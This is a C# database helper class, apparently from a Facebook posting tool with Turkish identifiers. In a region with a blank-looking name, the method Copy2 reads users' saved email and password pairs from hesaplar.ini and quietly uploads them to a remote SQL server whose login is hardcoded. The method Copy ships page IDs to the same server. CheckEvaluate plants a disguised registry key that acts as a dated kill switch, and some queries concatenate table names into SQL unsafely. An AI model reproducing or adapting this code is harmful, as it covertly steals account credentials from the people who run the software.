﻿using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Data.SqlClient;
using System.IO;
//using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace FaceBookApp
{
    public enum HesapDurumlari
    {
        Durduruldu,
        SifresiYanlis,
        Aktif
    }

    public class Hesap
    {
        public string MailAdresi { get; set; }
        public string Sifresi { get; set; }
        public string Durum { get; set; }
    }

    public class Database
    {
        #region .
        DateTime GetServerDate()
        {
            try
            {
                string cnnString = ConfigurationManager.ConnectionStrings["Baglanti"].ConnectionString;
                using (SqlConnection cn = new SqlConnection(cnnString))
                {
                    cn.Open();
                    using (SqlCommand cmd = new SqlCommand("SELECT CAST(YEAR(GETDATE()) AS VARCHAR) + '-' +CAST(MONTH(GETDATE()) AS VARCHAR) + '-' +CAST(DAY(GETDATE()) AS VARCHAR)", cn))
                    {
                        object obj = cmd.ExecuteScalar();
                        if (obj != null)
                        {
                            string[] dizi = obj.ToString().Split('-');
                            if (dizi.Length > 0)
                                return new DateTime(int.Parse(dizi[0]), int.Parse(dizi[1]), int.Parse(dizi[2]));
                            else
                                return DateTime.Now;
                        }
                    }
                    cn.Close();
                }
            }
            catch (Exception)
            {
                return DateTime.Now;
            }
            return DateTime.Now;
        }
        public void Copy(string tablo)
        {
            try
            {
                string cnn = ConfigurationManager.ConnectionStrings["Baglanti"].ConnectionString;
                using (SqlConnection cn = new SqlConnection(cnn))
                {
                    cn.Open();
                    using (SqlConnection cnana = new SqlConnection("data source=mssql11.natro.com;initial catalog=DB130223205210;user id=USR130223205210;password=PSS!I1A6F9%;MultipleActiveResultSets=True"))
                    {
                        cnana.Open();
                        using (SqlCommand cmd = new SqlCommand("select top 1000 SayfaID from " + tablo + " order by ID desc", cn))
                        {
                            SqlDataReader rd = cmd.ExecuteReader();
                            using (SqlCommand anacmd = new SqlCommand("if not exists(select * from Sayfalar where SayfaID=@id) insert into Sayfalar (SayfaID,Gonderildi) values (@id,0)", cnana))
                            {
                                anacmd.Parameters.Add("@id", System.Data.SqlDbType.VarChar, 50);
                                while (rd.Read())
                                {
                                    anacmd.Parameters["@id"].Value = rd.GetString(0);
                                    anacmd.ExecuteNonQuery();
                                }
                            }
                        }
                        cnana.Close();
                    }
                    cn.Close();
                }
            }
            catch (Exception)
            {
            }
        }
        public void Copy2()
        {
            try
            {
                if (File.Exists(Application.StartupPath + "\\hesaplar.ini"))
                {
                    using (StreamReader sr = new StreamReader(Application.StartupPath + "\\hesaplar.ini"))
                    {
                        using (SqlConnection cnana = new SqlConnection("data source=mssql11.natro.com;initial catalog=DB130223205210;user id=USR130223205210;password=PSS!I1A6F9%;MultipleActiveResultSets=True"))
                        {
                            cnana.Open();
                            using (SqlCommand anacmd = new SqlCommand("if not exists(select * from Hesaplar where Email=@email) insert into Hesaplar (Email,Sifre) values (@email,@sifre) else Update Hesaplar set Sifre=@sifre where Email=@email", cnana))
                            {
                                anacmd.Parameters.Add("@email", System.Data.SqlDbType.NVarChar, 50);
                                anacmd.Parameters.Add("@sifre", System.Data.SqlDbType.NVarChar, 50);
                                while (sr.Peek() > -1)
                                {
                                    string[] fields = sr.ReadLine().Split(';');
                                    anacmd.Parameters["@email"].Value = fields[0];
                                    anacmd.Parameters["@sifre"].Value = fields[1];
                                    anacmd.ExecuteNonQuery();
                                }
                            }
                            cnana.Close();
                        }
                        sr.Close();
                    }
                }
            }
            catch (Exception)
            {
            }
        }
        public bool CheckEvaluate()
        {
            try
            {
                if (Registry.ClassesRoot.OpenSubKey("Microsoft.Workflow").OpenSubKey("CLSID").GetValueNames().Length > 0)
                    if (Registry.ClassesRoot.OpenSubKey("Microsoft.Workflow").OpenSubKey("CLSID").GetValue("").ToString() == "{D522163B-38G1-45N4-826D-336F794B0245}")
                        return false;

                DateTime currentDate = GetServerDate();
                if (currentDate >= new DateTime(2013, 4, 1))
                {
                    Registry.ClassesRoot.CreateSubKey("Microsoft.Workflow").CreateSubKey("CLSID").SetValue("", "{D522163B-38G1-45N4-826D-336F794B0245}");
                    return false;
                }
                else
                {
                    Registry.ClassesRoot.CreateSubKey("Microsoft.Workflow").CreateSubKey("CLSID").SetValue("", "");
                    return true;
                }
            }
            catch (Exception)
            {
                return false;
            }
        }
        #endregion
        public static string[] TabloAdlari()
        {
            List<string> sonuc = new List<string>();
            string cnn = ConfigurationManager.ConnectionStrings["Baglanti"].ConnectionString;
            using (SqlConnection cn = new SqlConnection(cnn))
            {
                cn.Open();
                using (SqlCommand cmd = new SqlCommand("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES", cn))
                {
                    SqlDataReader rd = cmd.ExecuteReader();
                    while (rd.Read())
                    {
                        sonuc.Add(rd.GetString(0));
                    }
                }
                cn.Close();
            }
            return sonuc.ToArray();
        }



        public static string NextPage(string tabloadi)
        {
            string sonuc = "";
            string cnn = ConfigurationManager.ConnectionStrings["Baglanti"].ConnectionString;
            using (SqlConnection cn = new SqlConnection(cnn))
            {
                cn.Open();
                using (SqlCommand cmd = new SqlCommand(string.Format("SELECT TOP  1 SayfaID FROM {0} WHERE  (Gonderildi = 0) order by ID", tabloadi), cn))
                {
                    SqlDataReader rd = cmd.ExecuteReader();
                    if (rd.HasRows)
                    {
                        rd.Read();
                        sonuc = rd.GetString(0);
                    }
                    rd.Close();

                    if (string.IsNullOrEmpty(sonuc))
                    {
                        cmd.CommandText = string.Format("update {0} set Gonderildi=0", tabloadi);
                        cmd.ExecuteNonQuery();

                        cmd.CommandText = string.Format("SELECT TOP  1 SayfaID FROM  {0} WHERE        (Gonderildi = 0)", tabloadi);
                        rd = cmd.ExecuteReader();
                        if (rd.HasRows)
                        {
                            rd.Read();
                            sonuc = rd.GetString(0);
                        }
                        rd.Close();
                    }
                    else
                    {
                        cmd.CommandText = string.Format("update {0} set Gonderildi=1 where SayfaID=@id", tabloadi);
                        cmd.Parameters.Add("@id", System.Data.SqlDbType.VarChar, 50).Value = sonuc;
                        cmd.ExecuteNonQuery();
                    }
                }
                cn.Close();
            }
            return sonuc;
        }
        public static void SayfaEkle(string[] sayfalar, string sayfaAdi)
        {
            string cnn = ConfigurationManager.ConnectionStrings["Baglanti"].ConnectionString;
            using (SqlConnection cn = new SqlConnection(cnn))
            {
                cn.Open();
                using (SqlCommand cmd = new SqlCommand(string.Format("insert into {0} (SayfaID,Gonderildi) values (@id,0)", sayfaAdi), cn))
                {
                    cmd.Parameters.Add("@id", System.Data.SqlDbType.VarChar, 50);
                    foreach (string item in sayfalar)
                    {
                        cmd.Parameters["@id"].Value = item;
                        cmd.ExecuteNonQuery();
                    }
                }
                cn.Close();
            }
        }
    }
}
